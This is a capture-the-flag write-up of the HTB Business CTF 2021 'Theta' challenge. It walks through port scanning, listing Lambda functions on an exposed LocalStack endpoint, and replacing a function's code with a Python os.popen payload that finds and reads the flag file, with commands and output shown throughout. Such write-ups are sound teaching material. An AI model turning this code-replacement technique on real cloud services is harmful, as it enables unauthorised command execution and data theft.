HTB Business CTF 2021 - Theta
Hack The Box (HTB) hosted its very first "corporate only" CTF this past weekend and called it HTB Business CTF 2021. Participants had to create new accounts directly linked to their employer, teams were capped at 10, and the challenges were mostly intermediate to hard on the difficulty scale.
HTB Business CTF 2021
Sadly, I was alone on my team and only had the first day of the event to devote. So, I decided to focus only on the cloud challenges and I was able to solve the first one. So without further ado...
Let's get into it.
Theta
We're in the practice of open source cloud services and thinks that the deployment is secure so far. As a part of a pentest engagement, can you test and report the vulnerabilities?
I began this challenge with a port scan:
nmap -p- -sV -Pn --open -iL target.txt -oA nmap-theta_full --stats-every 120s
Nmap scan report for 10.129.171.200
Host is up (0.043s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
4566/tcp open kwtc?
1 service unrecognized despite returning data.<snip>
I then used curl to connect to 4566/tcp:
curl -k https://10.129.171.200:4566/
{"status": "running"}
To be thorough, I also ran a content discovery scan using ffuf which found the "health" resource:
curl -k https://10.129.171.200:4566/health &&echo
{"services": {"lambda": "running", "logs": "running", "cloudwatch": "running"}, "features": {"persistence": "disabled", "initScripts": "initialized"}}
We can see that lambda was running, and because this was a cloud challenge called "Theta," I safely assumed that a lambda function would be our primary target.
Using the AWS cli, I set the --endpoint-url to the target and checked for functions:
aws --endpoint-url=http://10.129.171.200:4566 lambda list-functions
{
"Functions": [
{
"FunctionName": "billing",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing",
"Runtime": "python3.8",
"Role": "arn:aws:iam::012351735804:role/billing_mgr",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 320,
"Description": "",
"Timeout": 3,
"LastModified": "2021-07-23T13:08:23.100+0000",
"CodeSha256": "axGTZ4HEPBRMdbOYcTXdsnAjW6fSe3mBLZIugCLSsEc=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "fa4b2893-5baf-4898-abf0-a8f718ec56e4",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
Then, I wanted to learn more about the function so I used the get-function command:
aws --endpoint-url=http://10.129.171.200:4566 lambda get-function --function-name billing
{
"Configuration": {
"FunctionName": "billing",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing",
"Runtime": "python3.8",
"Role": "arn:aws:iam::012351735804:role/billing_mgr",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 320,
"Description": "",
"Timeout": 3,
"LastModified": "2021-07-23T13:08:23.100+0000",
"CodeSha256": "axGTZ4HEPBRMdbOYcTXdsnAjW6fSe3mBLZIugCLSsEc=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "fa4b2893-5baf-4898-abf0-a8f718ec56e4",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
"Location": "http://10.129.171.200:4566/2015-03-31/functions/billing/code"
},
"Tags": {}
}
I then pointed my browser at the code location which prompted me to download lambda_archive.zip. I saved it locally, unzipped it, and reviewed the contents as seen below:
cat lambda_function.py
import json
def lambda_handler(event, context):
# Billing api logic
return {
'statusCode': 200,
'body': json.dumps('Still in development')
}
As seen in the function, not a lot was going on. I manually poked at this a bit but then I wanted to see if I could simply create a new function. Though I could do this, I was having issues getting it to successfully respond when I was invoking it.
My next thought was to simply update the existing function.
To test this, I modified the existing lambda_function.py to change the 'Still in development' string to 'strupo,' zipping it up, and running the following command to update the function:
aws --endpoint-url=http://10.129.171.200:4566/ lambda update-function-code --function-name billing --publish --zip-file fileb://lambda_archive.zip
Then, I ran the following command to validate:
aws --endpoint-url=http://10.129.171.200:4566 lambda invoke --function-name billing outfile && cat outfile
{
"StatusCode": 200,
"LogResult": "",
"ExecutedVersion": "$LATEST"
}
{"body":"\"strupo\"","statusCode":200}
Success!
After a good amount of fiddling with python and lambda in an attempt to establish a reverse shell, I gave up and settled on the following:
cat lambda_function.py
import os
import json
def lambda_handler(event, context):
message = os.popen("find / -name *flag* 2>/dev/null").read()
return {
'message' : message
}
This gave me the location of the flag as seen below:
aws --endpoint-url=http://10.129.171.200:4566 lambda invoke --function-name billing outfile && cat outfile
{
"StatusCode": 200,
"LogResult": "",
"ExecutedVersion": "$LATEST"
}
{"message":"/opt/code/localstack/.venv/lib/python3.7/site-packages/dns/__pycache__/flags.cpython-37.pyc\n/opt/code/localstack/.venv/lib/python3.7/site-packages/dns/flags.py\n/opt/code/localstack/.venv/lib/python3.7/site-packages/hyperframe/__pycache__/flags.cpython-37.pyc\n/opt/code/localstack/.venv/lib/python3.7/site-packages/hyperframe/flags.py\n/opt/flag.txt\n/usr/local/lib/node_modules/npm/node_modules/colors/lib/system/has-flag.js\n/usr/local/lib/node_modules/npm/node_modules/has-flag\n/usr/lib/bash/fdflags\n/sys/devices/platform/serial8250/tty/ttyS15/flags\n/sys/devices/platform/serial8250/tty/ttyS6/flags\n/sys/devices/platform/serial8250/tty/ttyS23/flags\n/sys/devices/platform/serial8250/tty/ttyS13/flags\n/sys/devices/platform/serial8250/tty/ttyS31/flags\n/sys/devices/platform/serial8250/tty/ttyS4/flags\n/sys/devices/platform/serial8250/tty/ttyS21/flags\n/sys/devices/platform/serial8250/tty/ttyS11/flags\n/sys/devices/platform/serial8250/tty/ttyS2/flags\n/sys/devices/platform/serial8250/tty/ttyS28/flags\n/sys/devices/platform/serial8250/tty/ttyS0/flags\n/sys/devices/platform/serial8250/tty/ttyS18/flags\n/sys/devices/platform/serial8250/tty/ttyS9/flags\n/sys/devices/platform/serial8250/tty/ttyS26/flags\n/sys/devices/platform/serial8250/tty/ttyS16/flags\n/sys/devices/platform/serial8250/tty/ttyS7/flags\n/sys/devices/platform/serial8250/tty/ttyS24/flags\n/sys/devices/platform/serial8250/tty/ttyS14/flags\n/sys/devices/platform/serial8250/tty/ttyS5/flags\n/sys/devices/platform/serial8250/tty/ttyS22/flags\n/sys/devices/platform/serial8250/tty/ttyS12/flags\n/sys/devices/platform/serial8250/tty/ttyS30/flags\n/sys/devices/platform/serial8250/tty/ttyS3/flags\n/sys/devices/platform/serial8250/tty/ttyS20/flags\n/sys/devices/platform/serial8250/tty/ttyS10/flags\n/sys/devices/platform/serial8250/tty/ttyS29/flags\n/sys/devices/platform/serial8250/tty/ttyS1/flags\n/sys/devices/platform/serial8250/tty/ttyS19/flags\n/sys/devices/platform/serial8250/tty/ttyS27/flags\n/sys/devices/platform/serial8250/tty/ttyS17/flags\n/sys/devices/platform/serial8250/tty/ttyS8/flags\n/sys/devices/platform/serial8250/tty/ttyS25/flags\n/sys/devices/virtual/net/lo/flags\n/sys/devices/virtual/net/eth0/flags\n/sys/module/scsi_mod/parameters/default_dev_flags\n/proc/sys/kernel/acpi_video_flags\n/proc/sys/kernel/sched_domain/cpu0/domain0/flags\n/proc/sys/kernel/sched_domain/cpu1/domain0/flags\n/proc/kpageflags\n"}
Then, it was simply a matter of changing the find command to cat /opt/flag.txt, zip up the new script, upload it, and then run it again as documented below:
nano lambda_function.py
zip lambda_archive.zip lambda_function.py updating: lambda_function.py (deflated 27%)
aws --endpoint-url=http://10.129.171.200:4566/ lambda update-function-code --function-name billing --publish --zip-file fileb://lambda_archive.zip
{
"FunctionName": "billing",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:billing",
"Runtime": "python3.8",
"Role": "arn:aws:iam::012351735804:role/billing_mgr",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 308,
"Description": "",
"Timeout": 3,
"LastModified": "2021-07-23T17:59:09.593+0000",
"CodeSha256": "yTfxdWG+GklUTtL8AxsKWkXiSh/gLcXw1/aV/pVnVks=",
"Version": "15",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "33527601-85e1-4f7d-b8aa-cc67c536ef8e",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
aws --endpoint-url=http://10.129.171.200:4566 lambda invoke --function-name billing outfile && cat outfile
{
"StatusCode": 200,
"LogResult": "",
"ExecutedVersion": "$LATEST"
}
{"message":"HTB{upd4t3s_4r3_n0_m0r3_s3cur3}\n"}
Conclusion
In the end, I wish I had more time and an actual team to take on the 40+ challenges HTB put out. Even though I had to trade in my corporate contact information, I'm really looking forward to the next one because they curate and create such high quality content.
The other two cloud challenges that were available at the time of this writing were Supply and Kube. I took a crack at both of them but I was unable to solve them by the end of Friday.
Supply was an S3 challenge that I felt like I was close to solving it but I couldn't get the target to run my script.
Kube was a kubernetes target which was totally new to me. I had some interesting data from various APIs but I could not get much further than that. I'm really looking forward to the write-ups for this and the Supply challenges.
Thanks for reading!
@strupo_
Find us on twitter: @teamWTG